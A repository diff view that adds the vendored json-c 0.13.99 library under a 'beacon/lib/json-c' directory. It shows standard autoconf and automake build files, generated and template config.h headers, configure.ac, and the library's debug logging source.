right script to run: please start by reading the file 'INSTALL'.
Report bugs to <bug-automake@gnu.org>.
EOF
exit $?
;;
-v | --v*)
echo "compile $scriptversion"
exit $?
;;
cl | *[/\\]cl | cl.exe | *[/\\]cl.exe )
func_cl_wrapper "$@" # Doesn't return...
;;
esac
ofile=
cfile=
for arg
do
if test -n "$eat"; then
eat=
else
case $1 in
-o)
# configure might choose to run compile as 'compile cc -o foo foo.c'.
# So we strip '-o arg' only if arg is an object.
eat=1
case $2 in
*.o | *.obj)
ofile=$2
;;
*)
set x "$@" -o "$2"
shift
;;
esac
;;
*.c)
cfile=$1
set x "$@" "$1"
shift
;;
*)
set x "$@" "$1"
shift
;;
esac
fi
shift
done
if test -z "$ofile" || test -z "$cfile"; then
# If no '-o' option was seen then we might have been invoked from a
# pattern rule where we don't need one. That is ok -- this is a
# normal compilation that the losing compiler can handle. If no
# '.c' file was seen then we are probably linking. That is also
# ok.
exec "$@"
fi
# Name of file we expect compiler to create.
cofile=`echo "$cfile" | sed 's|^.*[\\/]||; s|^[a-zA-Z]:||; s/\.c$/.o/'`
# Create the lock directory.
# Note: use '[/\\:.-]' here to ensure that we don't use the same name
# that we are using for the .o file. Also, base the name on the expected
# object file name, since that is what matters with a parallel build.
lockdir=`echo "$cofile" | sed -e 's|[/\\:.-]|_|g'`.d
while true; do
if mkdir "$lockdir" >/dev/null 2>&1; then
break
fi
sleep 1
done
# FIXME: race condition here if user kills between mkdir and trap.
trap "rmdir '$lockdir'; exit 1" 1 2 15
# Run the compile.
"$@"
ret=$?
if test -f "$cofile"; then
test "$cofile" = "$ofile" || mv "$cofile" "$ofile"
elif test -f "${cofile}bj"; then
test "${cofile}bj" = "$ofile" || mv "${cofile}bj" "$ofile"
fi
rmdir "$lockdir"
exit $ret
# Local Variables:
# mode: shell-script
# sh-indentation: 2
# eval: (add-hook 'write-file-hooks 'time-stamp)
# time-stamp-start: "scriptversion="
# time-stamp-format: "%:y-%02m-%02d.%02H"
# time-stamp-time-zone: "UTC"
# time-stamp-end: "; # UTC"
# End:

1480
beacon/lib/json-c/config.guess vendored Executable file

File diff suppressed because it is too large Load Diff

181
beacon/lib/json-c/config.h Normal file
View File

@ -0,0 +1,181 @@
/* config.h. Generated from config.h.in by configure. */
/* config.h.in. Generated from configure.ac by autoheader. */
/* Enable RDRAND Hardware RNG Hash Seed */
/* #undef ENABLE_RDRAND */
/* Enable partial threading support */
/* #undef ENABLE_THREADING */
/* Define if .gnu.warning accepts long strings. */
#define HAS_GNU_WARNING_LONG 1
/* Has atomic builtins */
#define HAVE_ATOMIC_BUILTINS 1
/* Define to 1 if you have the declaration of `INFINITY', and to 0 if you
don't. */
#define HAVE_DECL_INFINITY 1
/* Define to 1 if you have the declaration of `isinf', and to 0 if you don't.
*/
#define HAVE_DECL_ISINF 1
/* Define to 1 if you have the declaration of `isnan', and to 0 if you don't.
*/
#define HAVE_DECL_ISNAN 1
/* Define to 1 if you have the declaration of `nan', and to 0 if you don't. */
#define HAVE_DECL_NAN 1
/* Define to 1 if you have the declaration of `_finite', and to 0 if you
don't. */
#define HAVE_DECL__FINITE 1
/* Define to 1 if you have the declaration of `_isnan', and to 0 if you don't.
*/
#define HAVE_DECL__ISNAN 1
/* Define to 1 if you have the <dlfcn.h> header file. */
/* #undef HAVE_DLFCN_H */
/* Define to 1 if you don't have `vprintf' but do have `_doprnt.' */
/* #undef HAVE_DOPRNT */
/* Define to 1 if you have the <endian.h> header file. */
/* #undef HAVE_ENDIAN_H */
/* Define to 1 if you have the <fcntl.h> header file. */
#define HAVE_FCNTL_H 1
/* Define to 1 if you have the <inttypes.h> header file. */
#define HAVE_INTTYPES_H 1
/* Define to 1 if you have the <limits.h> header file. */
#define HAVE_LIMITS_H 1
/* Define to 1 if you have the <locale.h> header file. */
#define HAVE_LOCALE_H 1
/* Define to 1 if you have the <memory.h> header file. */
#define HAVE_MEMORY_H 1
/* Define to 1 if you have the `open' function. */
#define HAVE_OPEN 1
/* Define to 1 if you have the `realloc' function. */
#define HAVE_REALLOC 1
/* Define to 1 if you have the `setlocale' function. */
#define HAVE_SETLOCALE 1
/* Define to 1 if you have the `snprintf' function. */
#define HAVE_SNPRINTF 1
/* Define to 1 if you have the <stdarg.h> header file. */
#define HAVE_STDARG_H 1
/* Define to 1 if you have the <stdint.h> header file. */
#define HAVE_STDINT_H 1
/* Define to 1 if you have the <stdlib.h> header file. */
#define HAVE_STDLIB_H 1
/* Define to 1 if you have the `strcasecmp' function. */
#define HAVE_STRCASECMP 1
/* Define to 1 if you have the `strdup' function. */
#define HAVE_STRDUP 1
/* Define to 1 if you have the `strerror' function. */
#define HAVE_STRERROR 1
/* Define to 1 if you have the <strings.h> header file. */
#define HAVE_STRINGS_H 1
/* Define to 1 if you have the <string.h> header file. */
#define HAVE_STRING_H 1
/* Define to 1 if you have the `strncasecmp' function. */
#define HAVE_STRNCASECMP 1
/* Define to 1 if you have the <syslog.h> header file. */
/* #undef HAVE_SYSLOG_H */
/* Define to 1 if you have the <sys/cdefs.h> header file. */
#define HAVE_SYS_CDEFS_H 1
/* Define to 1 if you have the <sys/param.h> header file. */
#define HAVE_SYS_PARAM_H 1
/* Define to 1 if you have the <sys/stat.h> header file. */
#define HAVE_SYS_STAT_H 1
/* Define to 1 if you have the <sys/types.h> header file. */
#define HAVE_SYS_TYPES_H 1
/* Define to 1 if you have the <unistd.h> header file. */
#define HAVE_UNISTD_H 1
/* Define to 1 if you have the `uselocale' function. */
/* #undef HAVE_USELOCALE */
/* Define to 1 if you have the `vasprintf' function. */
#define HAVE_VASPRINTF 1
/* Define to 1 if you have the `vprintf' function. */
#define HAVE_VPRINTF 1
/* Define to 1 if you have the `vsnprintf' function. */
#define HAVE_VSNPRINTF 1
/* Define to 1 if you have the `vsyslog' function. */
/* #undef HAVE_VSYSLOG */
/* Define to 1 if you have the <xlocale.h> header file. */
/* #undef HAVE_XLOCALE_H */
/* Have __thread */
#define HAVE___THREAD 1
/* Public define for json_inttypes.h */
#define JSON_C_HAVE_INTTYPES_H 1
/* Define to the sub-directory where libtool stores uninstalled libraries. */
#define LT_OBJDIR ".libs/"
/* Name of package */
#define PACKAGE "json-c"
/* Define to the address where bug reports for this package should be sent. */
#define PACKAGE_BUGREPORT "json-c@googlegroups.com"
/* Define to the full name of this package. */
#define PACKAGE_NAME "json-c"
/* Define to the full name and version of this package. */
#define PACKAGE_STRING "json-c 0.13.99"
/* Define to the one symbol short name of this package. */
#define PACKAGE_TARNAME "json-c"
/* Define to the home page for this package. */
#define PACKAGE_URL ""
/* Define to the version of this package. */
#define PACKAGE_VERSION "0.13.99"
/* Specifier for __thread */
#define SPEC___THREAD __thread
/* Define to 1 if you have the ANSI C header files. */
#define STDC_HEADERS 1
/* Version number of package */
#define VERSION "0.13.99"
/* Define to empty if `const' does not conform to ANSI C. */
/* #undef const */
/* Define to `unsigned int' if <sys/types.h> does not define. */
/* #undef size_t */

View File

@ -0,0 +1,180 @@
/* config.h.in. Generated from configure.ac by autoheader. */
/* Enable RDRAND Hardware RNG Hash Seed */
#undef ENABLE_RDRAND
/* Enable partial threading support */
#undef ENABLE_THREADING
/* Define if .gnu.warning accepts long strings. */
#undef HAS_GNU_WARNING_LONG
/* Has atomic builtins */
#undef HAVE_ATOMIC_BUILTINS
/* Define to 1 if you have the declaration of `INFINITY', and to 0 if you
don't. */
#undef HAVE_DECL_INFINITY
/* Define to 1 if you have the declaration of `isinf', and to 0 if you don't.
*/
#undef HAVE_DECL_ISINF
/* Define to 1 if you have the declaration of `isnan', and to 0 if you don't.
*/
#undef HAVE_DECL_ISNAN
/* Define to 1 if you have the declaration of `nan', and to 0 if you don't. */
#undef HAVE_DECL_NAN
/* Define to 1 if you have the declaration of `_finite', and to 0 if you
don't. */
#undef HAVE_DECL__FINITE
/* Define to 1 if you have the declaration of `_isnan', and to 0 if you don't.
*/
#undef HAVE_DECL__ISNAN
/* Define to 1 if you have the <dlfcn.h> header file. */
#undef HAVE_DLFCN_H
/* Define to 1 if you don't have `vprintf' but do have `_doprnt.' */
#undef HAVE_DOPRNT
/* Define to 1 if you have the <endian.h> header file. */
#undef HAVE_ENDIAN_H
/* Define to 1 if you have the <fcntl.h> header file. */
#undef HAVE_FCNTL_H
/* Define to 1 if you have the <inttypes.h> header file. */
#undef HAVE_INTTYPES_H
/* Define to 1 if you have the <limits.h> header file. */
#undef HAVE_LIMITS_H
/* Define to 1 if you have the <locale.h> header file. */
#undef HAVE_LOCALE_H
/* Define to 1 if you have the <memory.h> header file. */
#undef HAVE_MEMORY_H
/* Define to 1 if you have the `open' function. */
#undef HAVE_OPEN
/* Define to 1 if you have the `realloc' function. */
#undef HAVE_REALLOC
/* Define to 1 if you have the `setlocale' function. */
#undef HAVE_SETLOCALE
/* Define to 1 if you have the `snprintf' function. */
#undef HAVE_SNPRINTF
/* Define to 1 if you have the <stdarg.h> header file. */
#undef HAVE_STDARG_H
/* Define to 1 if you have the <stdint.h> header file. */
#undef HAVE_STDINT_H
/* Define to 1 if you have the <stdlib.h> header file. */
#undef HAVE_STDLIB_H
/* Define to 1 if you have the `strcasecmp' function. */
#undef HAVE_STRCASECMP
/* Define to 1 if you have the `strdup' function. */
#undef HAVE_STRDUP
/* Define to 1 if you have the `strerror' function. */
#undef HAVE_STRERROR
/* Define to 1 if you have the <strings.h> header file. */
#undef HAVE_STRINGS_H
/* Define to 1 if you have the <string.h> header file. */
#undef HAVE_STRING_H
/* Define to 1 if you have the `strncasecmp' function. */
#undef HAVE_STRNCASECMP
/* Define to 1 if you have the <syslog.h> header file. */
#undef HAVE_SYSLOG_H
/* Define to 1 if you have the <sys/cdefs.h> header file. */
#undef HAVE_SYS_CDEFS_H
/* Define to 1 if you have the <sys/param.h> header file. */
#undef HAVE_SYS_PARAM_H
/* Define to 1 if you have the <sys/stat.h> header file. */
#undef HAVE_SYS_STAT_H
/* Define to 1 if you have the <sys/types.h> header file. */
#undef HAVE_SYS_TYPES_H
/* Define to 1 if you have the <unistd.h> header file. */
#undef HAVE_UNISTD_H
/* Define to 1 if you have the `uselocale' function. */
#undef HAVE_USELOCALE
/* Define to 1 if you have the `vasprintf' function. */
#undef HAVE_VASPRINTF
/* Define to 1 if you have the `vprintf' function. */
#undef HAVE_VPRINTF
/* Define to 1 if you have the `vsnprintf' function. */
#undef HAVE_VSNPRINTF
/* Define to 1 if you have the `vsyslog' function. */
#undef HAVE_VSYSLOG
/* Define to 1 if you have the <xlocale.h> header file. */
#undef HAVE_XLOCALE_H
/* Have __thread */
#undef HAVE___THREAD
/* Public define for json_inttypes.h */
#undef JSON_C_HAVE_INTTYPES_H
/* Define to the sub-directory where libtool stores uninstalled libraries. */
#undef LT_OBJDIR
/* Name of package */
#undef PACKAGE
/* Define to the address where bug reports for this package should be sent. */
#undef PACKAGE_BUGREPORT
/* Define to the full name of this package. */
#undef PACKAGE_NAME
/* Define to the full name and version of this package. */
#undef PACKAGE_STRING
/* Define to the one symbol short name of this package. */
#undef PACKAGE_TARNAME
/* Define to the home page for this package. */
#undef PACKAGE_URL
/* Define to the version of this package. */
#undef PACKAGE_VERSION
/* Specifier for __thread */
#undef SPEC___THREAD
/* Define to 1 if you have the ANSI C header files. */
#undef STDC_HEADERS
/* Version number of package */
#undef VERSION
/* Define to empty if `const' does not conform to ANSI C. */
#undef const
/* Define to `unsigned int' if <sys/types.h> does not define. */
#undef size_t

View File

@ -0,0 +1,205 @@
/* config.h.in. Generated from configure.ac by autoheader. */
/* Enable RDRANR Hardware RNG Hash Seed */
#undef ENABLE_RDRAND
/* Define if .gnu.warning accepts long strings. */
#undef HAS_GNU_WARNING_LONG
/* Define to 1 if you have the declaration of `INFINITY', and to 0 if you
don't. */
#if (defined(_MSC_VER) && _MSC_VER >= 1800) || defined(__MINGW32__)
#define HAVE_DECL_INFINITY 1
#endif
/* Define to 1 if you have the declaration of `isinf', and to 0 if you don't.
*/
#if (defined(_MSC_VER) && _MSC_VER >= 1800) || defined(__MINGW32__)
#define HAVE_DECL_ISINF 1
#endif
/* Define to 1 if you have the declaration of `isnan', and to 0 if you don't.
*/
#if (defined(_MSC_VER) && _MSC_VER >= 1800) || defined(__MINGW32__)
#define HAVE_DECL_ISNAN 1
#endif
/* Define to 1 if you have the declaration of `nan', and to 0 if you don't. */
#if (defined(_MSC_VER) && _MSC_VER >= 1800) || defined(__MINGW32__)
#define HAVE_DECL_NAN 1
#endif
/* Define to 1 if you have the declaration of `_finite', and to 0 if you
don't. */
#define HAVE_DECL__FINITE 1
/* Define to 1 if you have the declaration of `_isnan', and to 0 if you don't.
*/
#define HAVE_DECL__ISNAN 1
/* Define to 1 if you have the <dlfcn.h> header file. */
#define HAVE_DLFCN_H 1
/* Define to 1 if you don't have `vprintf' but do have `_doprnt.' */
#define HAVE_DOPRNT 1
/* Define to 1 if you have the <endian.h> header file. */
#undef HAVE_ENDIAN_H
/* Define to 1 if you have the <fcntl.h> header file. */
#define HAVE_FCNTL_H 1
/* Define to 1 if you have the <inttypes.h> header file. */
#define HAVE_INTTYPES_H 1
/* Define to 1 if you have the <limits.h> header file. */
#define HAVE_LIMITS_H 1
/* Define to 1 if you have the <locale.h> header file. */
#define HAVE_LOCALE_H 1
/* Define to 1 if your system has a GNU libc compatible `malloc' function, and
to 0 otherwise. */
#define HAVE_MALLOC 1
/* Define to 1 if you have the <memory.h> header file. */
#define HAVE_MEMORY_H 1
/* Define to 1 if you have the `open' function. */
#define HAVE_OPEN 1
/* Define to 1 if your system has a GNU libc compatible `realloc' function,
and to 0 otherwise. */
#define HAVE_REALLOC 1
/* Define to 1 if you have the `setlocale' function. */
#define HAVE_SETLOCALE 1
/* Define to 1 if you have the `snprintf' function. */
#if defined(__MINGW32__)
#define HAVE_SNPRINTF 1
#else
#undef HAVE_SNPRINTF
#endif
/* Define to 1 if you have the <stdarg.h> header file. */
#define HAVE_STDARG_H 1
/* Define to 1 if you have the <stdint.h> header file. */
#define HAVE_STDINT_H 1
/* Define to 1 if you have the <stdlib.h> header file. */
#define HAVE_STDLIB_H 1
/* Define to 1 if you have the `strcasecmp' function. */
#define HAVE_STRCASECMP 1
/* Define to 1 if you have the `strdup' function. */
#define HAVE_STRDUP 0
/* Define to 1 if you have the `strerror' function. */
#define HAVE_STRERROR 1
/* Define to 1 if you have the <strings.h> header file. */
#undef HAVE_STRINGS_H
/* Define to 1 if you have the <string.h> header file. */
#define HAVE_STRING_H 1
/* Define to 1 if you have the `strncasecmp' function. */
#if defined(__MINGW32__)
#define HAVE_STRNCASECMP 1
#else
#undef HAVE_STRNCASECMP
#endif
#cmakedefine HAVE_STRTOLL
#cmakedefine strtoll @cmake_strtoll@
/* Define to 1 if you have the <syslog.h> header file. */
#undef HAVE_SYSLOG_H
/* Define to 1 if you have the <sys/cdefs.h> header file. */
#define HAVE_SYS_CDEFS_H 1
/* Define to 1 if you have the <sys/param.h> header file. */
#if defined(__MINGW32__)
#define HAVE_SYS_PARAM_H 1
#else
#undef HAVE_SYS_PARAM_H
#endif
/* Define to 1 if you have the <sys/stat.h> header file. */
#define HAVE_SYS_STAT_H 1
/* Define to 1 if you have the <sys/types.h> header file. */
#define HAVE_SYS_TYPES_H 1
/* Define to 1 if you have the <unistd.h> header file. */
#if defined(__MINGW32__)
#define HAVE_UNISTD_H 1
#else
#undef HAVE_UNISTD_H
#endif
/* Define to 1 if you have the `vasprintf' function. */
#if defined(__MINGW32__)
#define HAVE_VASPRINTF 1
#else
#undef HAVE_VASPRINTF
#endif
/* Define to 1 if you have the `vprintf' function. */
#define HAVE_VPRINTF 1
/* Define to 1 if you have the `vsnprintf' function. */
#define HAVE_VSNPRINTF 1
/* Define to 1 if you have the `vsyslog' function. */
#undef HAVE_VSYSLOG
/* Define to the sub-directory in which libtool stores uninstalled libraries.
*/
#undef LT_OBJDIR
/* Define to 1 if your C compiler doesn't accept -c and -o together. */
/* #undef NO_MINUS_C_MINUS_O */
/* Name of package */
#define PACKAGE "json-c"
/* Define to the address where bug reports for this package should be sent. */
#define PACKAGE_BUGREPORT "json-c@googlegroups.com"
/* Define to the full name of this package. */
#define PACKAGE_NAME "JSON C Library"
/* Define to the full name and version of this package. */
#define PACKAGE_STRING "JSON C Library 0.13.99"
/* Define to the one symbol short name of this package. */
#define PACKAGE_TARNAME "json-c"
/* Define to the home page for this package. */
#define PACKAGE_URL "https://github.com/json-c/json-c"
/* Define to the version of this package. */
#define PACKAGE_VERSION "0.13.99"
/* Define to 1 if you have the ANSI C header files. */
#define STDC_HEADERS 1
/* Version number of package */
#define VERSION "0.13.99"
/* Define to empty if `const' does not conform to ANSI C. */
/* #undef const */
/* Define to rpl_malloc if the replacement function should be used. */
/* #undef malloc */
/* Define to rpl_realloc if the replacement function should be used. */
/* #undef realloc */
/* Define to `unsigned int' if <sys/types.h> does not define. */
/* #undef size_t */

1540
beacon/lib/json-c/config.log Normal file

File diff suppressed because it is too large Load Diff

2007
beacon/lib/json-c/config.status Executable file

File diff suppressed because it is too large Load Diff

1801
beacon/lib/json-c/config.sub vendored Executable file

File diff suppressed because it is too large Load Diff

15221
beacon/lib/json-c/configure vendored Executable file

File diff suppressed because it is too large Load Diff

View File

@ -0,0 +1,212 @@
AC_PREREQ(2.64)
# Process this file with autoconf to produce a configure script.
AC_INIT([json-c], 0.13.99, [json-c@googlegroups.com])
AM_INIT_AUTOMAKE
AC_CONFIG_MACRO_DIRS([autoconf-archive/m4])
AC_PROG_MAKE_SET
AC_CANONICAL_HOST
AC_ARG_ENABLE(threading,
AS_HELP_STRING([--enable-threading],
[Enable code to support partly multi-threaded use]),
[if test x$enableval = xyes; then
enable_threading=yes
AC_DEFINE(ENABLE_THREADING, 1, [Enable partial threading support])
fi])
if test "x$enable_threading" = "xyes"; then
AC_MSG_RESULT([Partial multi-threaded support enabled.])
else
AC_MSG_RESULT([Multi-threaded support disabled. Use --enable-threading to enable.])
fi
AC_ARG_ENABLE(rdrand,
AS_HELP_STRING([--enable-rdrand],
[Enable RDRAND Hardware RNG Hash Seed generation on supported x86/x64 platforms.]),
[if test x$enableval = xyes; then
enable_rdrand=yes
AC_DEFINE(ENABLE_RDRAND, 1, [Enable RDRAND Hardware RNG Hash Seed])
fi])
if test "x$enable_rdrand" = "xyes"; then
AC_MSG_RESULT([RDRAND Hardware RNG Hash Seed enabled on supported x86/x64 platforms])
else
AC_MSG_RESULT([RDRAND Hardware RNG Hash Seed disabled. Use --enable-rdrand to enable])
fi
# enable silent build by default
m4_ifdef([AM_SILENT_RULES], [AM_SILENT_RULES([yes])])
# Checks for programs.
# Checks for libraries.
# Checks for header files.
AM_PROG_CC_C_O
AC_PROG_CC_C99
AC_CONFIG_HEADER(config.h)
AC_CONFIG_HEADER(json_config.h)
AC_HEADER_STDC
AC_CHECK_HEADERS(fcntl.h limits.h strings.h syslog.h unistd.h [sys/cdefs.h] [sys/param.h] stdarg.h locale.h xlocale.h endian.h)
AC_CHECK_HEADER(inttypes.h,[AC_DEFINE([JSON_C_HAVE_INTTYPES_H],[1],[Public define for json_inttypes.h])])
# Checks for typedefs, structures, and compiler characteristics.
AC_C_CONST
AC_TYPE_SIZE_T
AC_CACHE_CHECK([for __thread support], ac_cv___thread, [dnl
AC_LINK_IFELSE([dnl
AC_LANG_PROGRAM([[#undef __thread
static __thread int a; int foo (int b) { return a + b; }]],
[[exit (foo (0));]])],
ac_cv___thread=yes, ac_cv___thread=no)
])
AS_IF([test "x$ac_cv___thread" != xno],
[AC_DEFINE(HAVE___THREAD, 1, [Have __thread])
AC_DEFINE(SPEC___THREAD, [__thread], [Specifier for __thread])]
)
# Checks for library functions.
AC_FUNC_VPRINTF
AC_FUNC_MEMCMP
AC_CHECK_FUNCS([realloc])
AC_CHECK_FUNCS(strcasecmp strdup strerror snprintf vsnprintf vasprintf open vsyslog strncasecmp setlocale)
AC_CHECK_DECLS([INFINITY], [], [], [[#include <math.h>]])
AC_CHECK_DECLS([nan], [], [], [[#include <math.h>]])
AC_CHECK_DECLS([isnan], [], [], [[#include <math.h>]])
AC_CHECK_DECLS([isinf], [], [], [[#include <math.h>]])
AC_CHECK_DECLS([_isnan], [], [], [[#include <float.h>]])
AC_CHECK_DECLS([_finite], [], [], [[#include <float.h>]])
AC_MSG_CHECKING(for GCC atomic builtins)
AC_LINK_IFELSE(
[
AC_LANG_SOURCE([[
int main() {
volatile unsigned int val = 1;
/* Note: __sync_val_compare_and_swap isn't checked here
* because it's protected by __GCC_HAVE_SYNC_COMPARE_AND_SWAP_<n>,
* which is automatically defined by gcc.
*/
__sync_add_and_fetch(&val, 1);
__sync_sub_and_fetch(&val, 1);
return 0;
}
]])
],
[
AC_MSG_RESULT([yes])
AC_DEFINE([HAVE_ATOMIC_BUILTINS],[1],[Has atomic builtins])
],
[
AC_MSG_RESULT([no])
AC_MSG_WARN([json-c will be built without atomic refcounts because atomic builtins are missing])
])
case "${host_os}" in
linux*)
AC_CHECK_FUNCS([uselocale])
;;
*) # Nothing
;;
esac
if test "$ac_cv_have_decl_isnan" = "yes" ; then
AC_TRY_LINK([#include <math.h>], [float f = 0.0; return isnan(f)], [], [LIBS="$LIBS -lm"])
fi
#check if .section.gnu.warning accepts long strings (for __warn_references)
AC_LANG_PUSH([C])
AC_MSG_CHECKING([if .gnu.warning accepts long strings])
AC_LINK_IFELSE([AC_LANG_SOURCE([[
extern void json_object_get();
__asm__(".section .gnu.json_object_get,\n\t.ascii \"Please link against libjson-c instead of libjson\"\n\t.text");
int main(int c,char* v) {return 0;}
]])], [
AC_DEFINE(HAS_GNU_WARNING_LONG, 1, [Define if .gnu.warning accepts long strings.])
AC_MSG_RESULT(yes)
], [
AC_MSG_RESULT(no)
])
AC_LANG_POP([C])
LT_INIT
# Check for the -Bsymbolic-functions linker flag
AC_ARG_ENABLE([Bsymbolic],
[AS_HELP_STRING([--disable-Bsymbolic], [Avoid linking with -Bsymbolic-function])],
[],
[enable_Bsymbolic=check])
AS_IF([test "x$enable_Bsymbolic" = "xcheck"],
[
saved_LDFLAGS="${LDFLAGS}"
AC_MSG_CHECKING([for -Bsymbolic-functions linker flag])
LDFLAGS=-Wl,-Bsymbolic-functions
AC_TRY_LINK([], [int main (void) { return 0; }],
[
AC_MSG_RESULT([yes])
enable_Bsymbolic=yes
],
[
AC_MSG_RESULT([no])
enable_Bsymbolic=no
])
LDFLAGS="${saved_LDFLAGS}"
])
AS_IF([test "x$enable_Bsymbolic" = "xyes"], [JSON_BSYMBOLIC_LDFLAGS=-Wl[,]-Bsymbolic-functions])
AC_SUBST(JSON_BSYMBOLIC_LDFLAGS)
AC_ARG_ENABLE([werror],
AS_HELP_STRING([--disable-werror], [avoid treating compiler warnings as fatal errors]))
AS_IF([test "x$enable_werror" != "xno"], [AX_APPEND_COMPILE_FLAGS([-Werror])])
AX_APPEND_COMPILE_FLAGS([-Wall -Wcast-qual -Wno-error=deprecated-declarations])
AX_APPEND_COMPILE_FLAGS([-Wextra -Wwrite-strings -Wno-unused-parameter])
AX_APPEND_COMPILE_FLAGS([-D_GNU_SOURCE])
AC_LANG_PUSH([C])
AC_MSG_CHECKING([for compatibility with _REENTRANT and toolchain headers])
AC_LINK_IFELSE(
[
AC_LANG_SOURCE([[
/* uClibc toolchains without threading barf when _REENTRANT is defined */
#define _REENTRANT 1
#include <sys/types.h>
int main ()
{
return 0;
}
]])], [
AC_MSG_RESULT(yes)
AX_APPEND_COMPILE_FLAGS([-D_REENTRANT])
], [
AC_MSG_RESULT(no)
])
AC_LANG_POP([C])
AX_COMPILE_CHECK_SIZEOF(int)
AX_COMPILE_CHECK_SIZEOF(long)
AX_COMPILE_CHECK_SIZEOF(long long)
AX_COMPILE_CHECK_SIZEOF(size_t, [#include <stdint.h>])
AX_COMPILE_CHECK_SIZEOF(int64_t, [#include <stdint.h>])
AC_CONFIG_FILES([
Makefile
json-c.pc
tests/Makefile
json-c-uninstalled.pc
])
AC_OUTPUT

83
beacon/lib/json-c/debug.c Normal file
View File

@ -0,0 +1,83 @@
/*
* $Id: debug.c,v 1.5 2006/01/26 02:16:28 mclark Exp $
*
* Copyright (c) 2004, 2005 Metaparadigm Pte. Ltd.
* Michael Clark <michael@metaparadigm.com>
*
* This library is free software; you can redistribute it and/or modify
* it under the terms of the MIT license. See COPYING for details.
*
*/
#include "config.h"
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdarg.h>
#if HAVE_SYSLOG_H
# include <syslog.h>
#endif /* HAVE_SYSLOG_H */
#if HAVE_UNISTD_H
# include <unistd.h>
#endif /* HAVE_UNISTD_H */
#if HAVE_SYS_PARAM_H
#include <sys/param.h>
#endif /* HAVE_SYS_PARAM_H */
#include "debug.h"
static int _syslog = 0;
static int _debug = 0;
void mc_set_debug(int debug) { _debug = debug; }
int mc_get_debug(void) { return _debug; }
extern void mc_set_syslog(int syslog)
{
_syslog = syslog;
}
void mc_debug(const char *msg, ...)
{
va_list ap;
if(_debug) {
va_start(ap, msg);
#if HAVE_VSYSLOG
if(_syslog) {
vsyslog(LOG_DEBUG, msg, ap);
} else
#endif
vprintf(msg, ap);
va_end(ap);
}
}
void mc_error(const char *msg, ...)
{
va_list ap;
va_start(ap, msg);
#if HAVE_VSYSLOG
if(_syslog) {
vsyslog(LOG_ERR, msg, ap);
} else
#endif
vfprintf(stderr, msg, ap);
va_end(ap);
}
void mc_info(const char *msg, ...)
{
va_list ap;
va_start(ap, msg);
#if HAVE_VSYSLOG
if(_syslog) {
vsyslog(LOG_INFO, msg, ap);
} else
#endif
vfprintf(stderr, msg, ap);
va_end(ap);
}

Some files were not shown because too many files have changed in this diff Show More